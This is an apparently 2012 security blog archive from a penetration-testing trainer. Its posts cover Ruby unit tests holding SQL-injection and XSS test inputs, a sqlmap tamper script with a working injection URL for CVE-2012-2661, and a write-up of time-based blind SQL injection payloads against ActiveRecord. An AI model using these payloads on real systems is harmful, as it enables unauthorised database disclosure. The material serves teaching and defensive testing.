Thursday, 21 June 2012

test test test...

As I'm working on PNTSTR,I get more and more afraid of mistakes... Mistakes happen and I don't want a bug to break the production and especially if I got a bug I want to only fix it once... That's why I'm using unit tests.

Furthermore, I'm using unit tests to ensure the security of my application, I write a good part of my security checks as test cases:

For example, can a user access a given page without being logged in?

class TestConsole < Test::Unit::TestCase
  include Rack::Test::Methods


  def app
    Console
  end


  def assert_redirect_to_login
    assert last_response.header["Location"] =~ /\/login$/
    assert last_response.status == 302
  end

  def test_redirect_interviewees_without_login
    get "/interviewees"
    assert_redirect_to_login
  end
end




In the same way, I use it to check that once I'm logged in, I can get to the page:

  def test_access_interviewees_with_login
    login("louis@pentesterlab.com", "secret")
    get "/interviewees"
    assert last_response.status == 200
  end

It can be used to ensure I cannot log in with a wrong password, a null password (remember LDAP anonymous bind??) or a blank password:

  def test_cannot_login_with_blank_password
    get "/login"
    login("louis@pentesterlab.com", "")
    assert_redirect_to_login
  end
  
  def test_cannot_login_with_nil_password
    # typical LDAP bug
    get "/login"
    post("/login", {:email => "louis@pentesterlab.com"} )
    assert_redirect_to_login
  end
  
  def test_cannot_login_with_wrong_password
    get "/login"
    login("louis@pentesterlab.com", "wrong")
    assert_redirect_to_login
  end


You can even use it to check for cross authorisation checks, here I check if i can access someone else (the first user) interviewee:

  def test_can_access_someone_else_interviewee
    # user first is not me
    id = User.first.interviewees[0].id.to_s
    login("louis@pentesterlab.com", "secret")
    get "/interviewees/#{id}"
    assert_redirect_to_login
  end




Or for SQL injection (silly example above, but still make sure it's not here):



  def test_cant_sqli_login
    # user first is not me
    login("louis@pentesterlab.com' or 1=1 -- ", "")
    assert_redirect_to_login
  end
  
or Cross Site Scripting (simple but it covers the basics):

  def test_cant_xss_login
   ["'", "\"", "<", ">" ].each do |c|
    login("louis@pentesterlab.com#{c}", "")
    assert last_response.body !~ /#{"louis@pentesterlab.com"+c}/  
   end
  end

If everyone was doing that, I think the security of web applications will be far better... Anyone else doing something similar?








Tuesday, 19 June 2012

How I solved 2 problems...

TL;DR: follow @pntstr for an interview question per week

I have been working on a new project: PNTSTR, if you're trying to hire people in the security industry, you probably already felt the pain of endless interview with people you know you won't hire pretty quick... I just wanted to avoid this by creating an easy first filter. Basically, it's just a simple web application to ask questions to interviewees and score them...


*BUT*, I had/have 2 problems:
  • Getting publicity is hard, it's a niche solution for a niche market, so you need a lot of people to get to the site before getting clients.
  • It's really hard to have good questions, you need questions that are not too easy and not too hard (ie: 100% or 0% success rate questions are useless...)

How to fix this? Web 2.0 to the rescue !!!

My idea to solve both of this problem is to use twitter, and create a twitter bot. This idea comes from inspire9's twitter account: @inspire9. When you start following them, they send you a direct message:


When I saw that, I thought it was pretty cool and I wanted the same thing (but didn't find a reason for it until now).

As a curious person, I love to learn new thing and I think a lot of people in this industry are the same (I hope at least)... So I decided to put together a weekly question and provide the answer with explanation. 

How it works... If you start following pntstr on twitter, pntstr will start following you back (good way to get a new follower...) and send you a direct message with a subscription link. If you subscribe, you will get a weekly question by direct message. You can then click the link in the direct message to see the question, once you submit your answer, you will get the answer we were after and some explanations.

So to try it just start following pntstr ;)

But what happens if people keep all the answer and build a script to answer automatically to the website? 
To be honest, someone doing that deserves an interview ;) Furthermore, interviewers are able to put their own questions in the site... PNTSTR's questions are just here to provide something to begin with.

But what if people cheat?
Pentesting is cheating... someone doing that deserves an interview ;)

Do you keep stats per follower?
No. Just stats per question.


Monday, 18 June 2012

CVE-2012-2661 exploitation with sqlmap

First to understand this bug exploitation, you should probably read my first article CVE-2012-2661: exploitation write-up

After some work, I managed to get the ActiveRecord bug to work with sqlmap...

First some notes on sqlmap:

  • I'm pretty disappointed by how the tamper scripts works, it will be nicer to have access to the full HTTP request instead of just the payload... maybe a patch to submit. If I had full access to the HTTP request, I'd have been able to do a full rewrite from id=1 to the right payload... anyway 
  • It's really time consuming to do time based exploitation since sqlmap doesn't try to go under 1 second for the sleep()...

So first some options I'm using:
  • --tamper tamper/cve-2012-2661.py : My tampering script, see below
  • --dbms=Mysql : The back-end is Mysql, no time wasted on other checks
  • --technique=T : Time based exploitation only,  no time wasted on other checks
  • --batch : I don't want to answer questions... 
  • --proxy=http://127.0.0.1:18080 : Always use a proxy for debugging purpose
  • --banner: I just want to dump the version


The tampering script is pretty simple to write:
  • You need to make sure the request is unique: I'm using the current time, random isn't unique, time is ;)
  • You need to take care of the encoding when using tamper script

And the source code of the tamper script is:
% cat tamper/cve-2012-2661.py
#!/usr/bin/env python

"""
Copyright (c) 2012 pentesterlab (https://www.pentesterlab.com)
"""

from lib.core.enums import PRIORITY
from datetime import datetime
import urllib 

__priority__ = PRIORITY.LOW

def tamper(payload):
    retVal = payload
    # that's disgusting, encoding =,+,>
    retVal = retVal.replace("=","%3d")
    retVal = retVal.replace("+","%2b")
    retVal = retVal.replace(">","%3e")
    # make the request unique
    return retVal+"/*"+str(datetime.now())+"*/"


Now, you just need to find the correct URL... and that's the hard part. After a lot of testing, the following URL works: 

http://vulnerable/?id[information_schema%20where%201%3d1*%20%3b%20--%20.user][1]=1

Now you're able to test and exploit this bug using sqlmap...

If you want to have a real understanding of the vulnerability and not just ./hack ... You should check out PentesterLab's free exercise on this bug:  CVE-2012-2661: ActiveRecord SQL injection


Friday, 15 June 2012

Spice market?

When I wrote "Why PentesterLab ?", I forgot to talk about the frontpage of each exercise...

Aside from the a "a la O'reilly", I used the spices and herbs because I want my exercises to be like recipes.


I didn't want to put together training like "this is 100 different vulnerable pages, now go nuts on them!!". It's just not how I see things.


I want people to learn penetration testing like they can learn how to cook:
  You use technics together and follow instructions to get something amazing. 
  Then you can apply the new technics you learnt for other dishes... 

Wednesday, 13 June 2012

Safe from XSS?

For last year Ruxcon's CTF (even if I ended up not using it) and for PentesterLab's training, I wanted to build something around the exploitation of Cross Site Scripting... I just wanted a typical client to browse a website automatically and get XSS'ed... But it's not as easy as it looks since pop-ups will block the execution flow.

I first thought of something around Browser automation with Watir or Selenium, unfortunately, if an alert is triggered your browser is blocked and you need to manually click the pop-up. You can find your way around by killing the browser but if you have 50 people trying to XSS your victim, you won't run all their payloads... That just doesn't work and is not reliable enough :/

You can probably write a small JavaScript interpreter but it's a lot of work and you won't get something as good as a browser...

You can disable alert, prompt and confirm in the page served, but the CTF players will find a way around this...

The good solution came from Surf from suckless.org. Surf is a browser composed of only 1000 lines of C. It's really easy to modify it and to make it do whatever you want. If you have some time, you should probably read its source code, it will give you a good inside on how Webkit works.

To avoid the pop-ups created by the browser, we will need to handle the following events:
  • script-alert
  • script-confirm
  • script-prompt



To do that, we can create a dummy function scriptalert:
static gboolean * scriptalert (WebKitWebView *v, WebKitWebFrame *f, Client *c){
  printf("%s\n", c);
  return TRUE;
}


And connect the events to this function:
  g_signal_connect(G_OBJECT(c->view), "script-alert", G_CALLBACK(scriptalert), c);
  g_signal_connect(G_OBJECT(c->view), "script-confirm", G_CALLBACK(scriptalert), c);
  g_signal_connect(G_OBJECT(c->view), "script-prompt", G_CALLBACK(scriptalert), c);


And that's it, we now have a browser which won't pop-up a new window and can be used as a XSS victim for CTFs or cool exercises...

The nice thing is that the handling of cookies can be easily modify by patching the newrequest or the setcookie functions...

As a side note, it's really easy to have an automatic logging of all requests and responses by adding the following code to the setup function:

  SoupLogger *logger;  
  [...]
  logger = soup_logger_new(static_cast<SoupLoggerLogLevel>(SOUP_LOGGER_LOG_BODY),-1);
  soup_session_add_feature(s,logger);

  

Sunday, 10 June 2012

Twittdiff

Ok I finally spent 10 minutes and wrote twittdiff: a tool to know who started following you and mostly who stopped following you (I'm super curious about this one).

You just need to install the twitter library: gem install twitter and run it

$ twittdiff.rb pentesterlab


The code is below or can be found on github:


require 'twitter'
unless ARGV[0]
  puts "Needs args :p"
  puts "./twittdiff username"
  exit
end

TDHOME = File.join(ENV['HOME'],".twitdiff")
unless File.exists?(TDHOME)
  Dir.mkdir(TDHOME)
end
followers = []
cursor = "-1"

while cursor != 0 do
  fl = Twitter.follower_ids(ARGV[0],{"cursor"=>cursor})
  cursor = fl.next_cursor
  followers += fl.ids
  sleep(2) # DON"T BREAK DA TWITTER
end

if File.exists?(File.join(TDHOME, ARGV[0]))
  prev = File.readlines(File.join(TDHOME, ARGV[0])).map!{|x| x.chomp!.to_i}
  new = (followers - prev)
  if new.empty?
    puts "No new followers"
  else
    puts "New followers:"
    new.each do |cool|
      puts "\t - #{Twitter.user(cool).name}"
    end
  end
  diff = (prev-followers)
  if diff.empty?
    puts "No one stop following you"
  else
    puts "Not following you anymore:"
    diff.each do |sucker|
      puts "\t - #{Twitter.user(sucker).name}"
    end
  end
else
  puts "First time twittdiff is ran, come back later"
end
File.open(File.join(TDHOME, ARGV[0]),'w').write(followers.join("\n")+"\n")


Friday, 8 June 2012

So you want free exercises...

I spent a long time thinking of my last exercise CVE-2012-2661 and especially if I should give it away for free or do a paid version... Both have pros and cons and it has been really hard to decide until I found the idea.

And I decided for a paid version... as a hipster friend will say "You sold out mate..."

I decided for a paid version because it's a lot of work to get a working ISO (especially to get a stable Passenger's stack on Debian using their packages) and to create the course.

*BUT*

If you pay me or one of the people listed in the "PentesterLab's friends" list (good) beer, you get an exercise for free... And I will make sure to have one of these friends at most conferences. I think it's fair to offer a beer to someone who helps you. But since I can't be everywhere and drink all these beers (or can I??), I will share them with my friends. And for the buyer, it's a good way to meet and talk to nice and smart people working in security.

I'm still working on the details and will probably create small cards with token for these "Pentesterlab's friends" in the meantime just give them your email/business card with the beer and we will sort it.

If you're currently at the SSTIC in France, you can offer a beer to Renaud F. and Nicolas C. to get a free exercise :)

If you're going to Defcon and Blackhat, you can offer a beer (or probably a bourbon&coke) to Silvio to get a free exercise :)

If you're organizing/going to a conference, let me know, I will probably be able to find someone I know or someone who published good research and is willing to drink free beers ;)

NB: It's not retroactive :p

Tuesday, 5 June 2012

Weaponizing your pentest team... scaling :)

Unfortunately, I didn't get accepted at Auscert 2012. However, that is not a reason to keep all of my ramblings for myself...again :/

The idea of the talk was around improving/building up a pentest team... and to address some of today's pentest teams issues. It's one thing to complain, it's another thing to find solution... let's try to do both ;)

Disclaimer: since most of today's pentesting companies are doing a lot of web based test... this post is really web focused.

I don't want to do one huge post to avoid the "TL;DR" effect... so today I will be talking about scalability

One problem with how pentesting is currently done is that it doesn't scale, it can basically be resumed by:
  • one pentest - 2 testers
  • two pentests - 4 testers
  • three pentests - 6 testers
  • ... 
Hopefully some of the testing can be automated: 
  • network fingerprinting
  • web app fingerprinting
I think a good 70% of this can be automated. One of the first idea is to run automatically all the open source tools on the target(s) and put the results together. It's pretty easy to do and to script but I didn't see much people doing it.

I have been working on a POC based on eventmachine, rabbitMQ and sinatra. The problem is that it needs to be really tie to your reporting system (and I still don't know how to write the perfect reporting tools).

Another thing with reporting, is that so much time is wasted on copy/pasting thing... for example, a lot of pentesting companies have a word template and copy/paste issues from previous reports and after do all changes (even if old pentester will tell you to never do that to avoid "client A" name in "client B"'s report). This sucks big time as said before.

I think that most people writing (web) pentesting tools focus on the scanning (the fun) part of the job and don't address what a (web) pentest job is:
  • scoping 
  • fingerprinting
  • scanning
  • reporting
  • retesting
  • monitoring


This is how, in my opinion things should be done:

  1. during the scoping: someone visits the website in depth and provides a log of all the requests and pages. That way you can create real value and do your pricing based on real data (number of pages, privileges levels, forms, inputs, captcha, WAF,...). Too many people doing sales in this industry just have a quick look to a site and scope it using "magic".
  2. during the fingerprinting, an automatic tool used the scoping logs and scan the website to gather information. A tester reviews this information.
  3. during the testing, both tester and scanners use the data from the scoping and fingerprinting to scan the website and create a list of issues
  4. these issues are put together to build a report
  5. the testing should be done based on previous information and probably automated at 60%
  6. the monitoring is just another tool that used previous information to send alerts based on new exploit published: "This client was running Wordpress x.x.x, a vulnerability has been found in this product". That way you can provide a great  after-sales service :) I sent email to clients using Ruby on Rails after CVE-2012-2661 was published, they really enjoyed this kind of after-sales service...

As a side note, I'm a strong believer that the pentesting industry will probably more and more move to a real time vulnerabilities disclosure during pentest (with a lot of pros and cons, maybe for a next post), and automation will play a real important part in this new methodology :)



Friday, 1 June 2012

CVE-2012-2661: exploitation write-up

Being a activerecord user, I spent some time working on CVE-2012-2661,and its exploitability...

At first I only thought I can get an authentication bypass if some conditions using hashes in the URL...

But I really wanted more out of this bug... this is the Ruby code I start working with:


require 'active_record'
ActiveRecord::Base.establish_connection(
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "webapp",
      :password => "follow @pentesterlab, smartass"
      :database => "test"
    )


class User < ActiveRecord::Base
end


require 'irb'
IRB.start()

Basically, with that I can get a database connection, a class using activerecord and start playing


So i thought I only had an authentication bypass by changing:
   User.where(:password =>  'password' , :login =>'admin').all
to
   User.where(:password => {'users.id' => 1} , :login =>'admin').all

The main problem is that everything seems to be encoded correctly...


We need to go deeper...



But after more work and some discussions with @lukejahnke, an error message seems interesting for the following code:
   > User.where(:password => {'mysql.user' => {'id' => '1'}},  :login =>'admin' ).all

ActiveRecord::StatementInvalid: Mysql2::Error: Access denied for user 'webapp'@'localhost' to database 'mysql': SHOW TABLES IN mysql LIKE 'user'
We have an error here because webapp doesn't have access to the table...

Let's use root from now (to prevent this error and keep working on the payload)...

ActiveRecord::Base.establish_connection(
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "root",
      :password => "follow @pentesterlab, super smartass"
      :database => "test"
    )

Even more interesting now: 

  > User.where(:password => {'mysql plop.user' => {'id' => '1'}}).all

ActiveRecord::StatementInvalid: Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'plop LIKE 'user'' at line 1: SHOW TABLES IN mysql plop LIKE 'user'

We are now injecting in the first query... the one used to get the information out of the table before the select is performed.... UM NUM NUM :) 
The value used in this request is then passed to the SELECT  request which obviously fails... 


Now as usual, time to read the Mysql documentation to get all the possible syntax accepted by show table


So, it's possible to do show table in mysql where ....

And with some sleep(), you can get 2 queries: 

  •  User.where(:password => {'mysql where (select 1) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which quickly throws an error 
  •  User.where(:password => {'mysql where (select 0) or sleep(1) ; -- .user' => {'id' => '1234'}}).all which throws an error after few seconds

Last thing, activerecord caches the result, so each request needs to be different (trivial to bypass)...

I hope this post provides enough details but not too much if you know what I mean...

Some side notes:


UPDATES:

I saw a question on reddit on what you can actually do:
 TLDR:  You can dump information.

More details now:

If you see the lines containing: "(select 0) or sleep(1) " and "(select 1) or sleep(1)"

First, since "or" is used, the "sleep(1)" will only be reached if the first part of the statement is false (i.e. select 0).

The (select X) can be used to dump information. You can use it to do a blind SQL injection. You have 2 states (based on the response time), so you're able to ask questions like:
  "is the first letter of the version a '5' ?"

If the response is fast, you know that this question returns true (like "select 1") and the sleep statement is never reached (since it's a OR statement). If the response is slow, you know that this question returns false (like select 0) and the sleep statement was reached.


Edit: You should check out PentesterLab's training on this bug:  CVE-2012-2661: ActiveRecord SQL injection